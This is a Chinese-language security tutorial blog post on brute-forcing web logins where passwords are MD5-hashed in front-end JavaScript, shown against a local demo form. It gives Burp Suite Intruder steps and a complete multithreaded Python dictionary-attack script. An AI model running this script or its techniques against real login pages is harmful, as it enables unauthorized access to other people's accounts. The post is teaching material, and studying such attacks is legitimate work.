Web暴力破解--前端JS表单加密进行爆破

简介: 0x01 前言   常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。 0x02 代码 login.html 用户登录 function checkInput() { var password_input = document.

 0x01 前言

  常见的js实现加密的方式有:md5、base64、shal,写了一个简单的demo作为测试。

0x02 代码

login.html

<!DOCTYPE HTML>  
<html>  
<head>  
<meta charset="utf-8">  
<title>用户登录</title>  
<script type="text/ecmascript" src="md5.js"></script>
<script>
function checkInput() {
    var password_input = document.getElementById('password');
    var password_md5 = document.getElementById('password_md5');
    // set password
    password_md5.value =hex_md5(password_input.value);
    return true;
}
</script>
</head> 
<body>  
<form action="login.php" method="post" onsubmit="return checkInput()">
    用户:<input type="text" id="username" name="username"> <br/>
    密码:<input type="password" id="password"> <br/>
    <input type="hidden" id="password_md5" name="password">
    <input type="submit" value="提交" />
</form>
</body>  
</html>  

提交表单,进行抓包,可以发现密码字段密码进行了加密处理:

 

 0x03 Web暴力猜解

方式一:Burp Suite

  使用Intruder进行暴力猜解,Intruder支持多种爆破模式、加密和编码支持。常见的md5、base64、shal加密方式,都可以用burpsuite直接处理。

  四种爆破方式:单一字典爆破、多字段相同字典爆破、多字典位置对应爆破、聚合式爆破。

  最常用的应该是在爆破用户名和密码的时候,使用聚合方式枚举了。

1、抓包发送到Intruder,标记相关参数,选择 第四种模式“Cluster bomb”

2、分别选择用户名字典和密码字典,在设置密码字典的时候,选择md5加密方式对密码字段进行加密处理

3、开始进行爆破,根据返回字段长度判断是否成功,成功获取用户名和密码字段的MD5值   admin:21232f297a57a5a743894a0e4a801fc3

4、md5解密成功,获得用户名密码 admin/admin

 方式二:Python脚本

  这边采用Python ExecJs来执行Js语句模拟前端对账号密码进行加密

准备:

pip install PyExecJS

phantomjs下载:https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-2.1.1-windows.zip

编写Python脚本进行爆破:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_

import requests
import threadpool
from selenium import webdriver
import execjs

def getpass(str):
    with open ('md5.js','r') as js:
        source = js.read()
        phantom = execjs.get('PhantomJS')
        getpass = phantom.compile(source)
        password = getpass.call('hex_md5',str)
        return password

def login(user,passwd):
    url="http://127.0.0.1/login.php"
    payload ={'username':user,'password':getpass(passwd)}
    headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
    try:        
        response = requests.post(url,data=payload,headers=headers,timeout=5)
        result=response.content
        if result.count('fail')<1: 
            print '[success] ' +url+":"+user+':'+passwd

    except:
        pass
        
def getLines(fileName):
    list=[]
    with open(fileName, 'r') as fd:
        for line in fd.readlines():
            line = line.strip()
            if not len(line) or line.startswith('#'):
                continue
            list.append(line)
    return list

if __name__ == '__main__':    
    username_list=getLines('user.dict')
    password_list=getLines('pass.dict')

    userlist = [([user,passwd],None) for user in username_list for passwd in password_list]    
    
    pool = threadpool.ThreadPool(20)  
    reqs = threadpool.makeRequests(login,userlist)  
    [pool.putRequest(req) for req in reqs]  
    pool.wait()

 成功爆破用户账号密码

0x04 END

   从前台到后台是一个质的突破,本文主要对很多web 在登陆的过程中会用 js 对密码进行加密传输,梳理了一下web暴力猜解的技巧。

  关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

 

 

参考链接:

JS实现密码加密

http://www.cnblogs.com/mofish/archive/2012/02/25/2367858.html

js实现表单提交submit(),onsubmit

https://www.cnblogs.com/web-wjg/p/7894657.html

对登录中账号密码进行加密之后再传输的爆破的思路和方式

http://www.freebuf.com/articles/web/127888.html

 

目录
相关文章
|
3天前
|
缓存 JavaScript 前端开发
前端框架与库 - Vue.js基础:模板语法、数据绑定
【7月更文挑战第14天】Vue.js 是渐进式框架,以简洁API和高效数据绑定知名。本文聚焦模板语法与数据绑定,解释常见问题和易错点,助力初学者避坑。模板语法中,{{ expression }} 用于渲染值,v-bind/: 用于动态绑定属性。数据绑定涉及文本、属性和事件,注意v-model适用于表单元素,计算属性有缓存。理解正确用法,借助文档和IDE,可提升开发质量和效率。善用Vue.js,打造响应式UI。
|
2天前
|
JavaScript 前端开发 API
前端框架与库 - Vue.js 组件与路由
【7月更文挑战第15天】Vue.js 框架以简洁API和高效DOM更新著名,组件和路由是构建应用的关键。组件是自包含的实例,常见问题包括命名冲突、作用域混淆和状态管理。要避免这些问题,可使用命名空间、明确数据绑定和事件,以及采用Vuex管理状态。Vue Router提供声明式路由,常见挑战包括路由守卫、动态路由参数和懒加载配置。正确使用路由守卫、处理动态参数和实现代码分割能优化路由管理。提供的代码示例展示了基本组件和路由配置。
|
12天前
|
前端开发 NoSQL 数据库
部署常用的流程,可以用后端,连接宝塔,将IP地址修改好,本地只要连接好了,在本地上前后端跑起来,前端能够跑起来,改好了config.js资料,后端修改好数据库和连接redis,本地上跑成功了,再改
部署常用的流程,可以用后端,连接宝塔,将IP地址修改好,本地只要连接好了,在本地上前后端跑起来,前端能够跑起来,改好了config.js资料,后端修改好数据库和连接redis,本地上跑成功了,再改
|
13天前
|
前端开发 安全 JavaScript
学习前端加密
【7月更文挑战第3天】前端加密保护数据安全,防止传输中被截获,提升用户体验。HTTPS基础保障,JavaScript库如CryptoJS辅助加密,Web Crypto API提供原生加密功能。但前端加密非万能,需结合后端措施,注意算法选择、密钥管理。
14 2
|
2天前
|
存储 资源调度 前端开发
JavaScript 使用axios库发送 post请求给后端, 给定base64格式的字符串数据和一些其他参数, 使用表单方式提交, 并使用onUploadProgress显示进度
使用 Axios 发送包含 Base64 数据和其他参数的 POST 请求时,可以通过 `onUploadProgress` 监听上传进度。由于整个请求体被视为一个单元,所以进度可能不够精确,但可以模拟进度反馈。前端示例代码展示如何创建一个包含 Base64 图片数据和额外参数的 `FormData` 对象,并在上传时更新进度条。后端使用如 Express 和 Multer 可处理 Base64 数据。注意,实际进度可能不如文件上传精确,显示简单加载状态可能更合适。
|
7天前
|
存储 JavaScript 前端开发
WEB三大主流框架之Vue.js
WEB三大主流框架之Vue.js
|
12天前
|
前端开发 NoSQL JavaScript
若依修改---重新部署项目注意事项,新文件初始化需要修改的地方,打包后的文件很难进行修改,如果想要不断修改项目,注意保存原项目,才可以不断修改,前端:在Vue.config.js文件中修改target
若依修改---重新部署项目注意事项,新文件初始化需要修改的地方,打包后的文件很难进行修改,如果想要不断修改项目,注意保存原项目,才可以不断修改,前端:在Vue.config.js文件中修改target
|
12天前
|
前端开发 JavaScript Linux
若依修改之后,无法访问前端项目如何解决,只能访问后端的接口,我的接口8083,端不显示咋解决?在vue.config.js文件中的映射路径要跟后端匹配,到软件商店里找到Ngnix配置代理,设80不用加
若依修改之后,无法访问前端项目如何解决,只能访问后端的接口,我的接口8083,端不显示咋解决?在vue.config.js文件中的映射路径要跟后端匹配,到软件商店里找到Ngnix配置代理,设80不用加
|
13天前
|
前端开发 JavaScript
js 打开资源管理器(经典范例:纯前端选择并预览图片)
js 打开资源管理器(经典范例:纯前端选择并预览图片)
28 0
|
14天前
|
Dart JavaScript 前端开发
flutter-web中使用js工具类
flutter-web中使用js工具类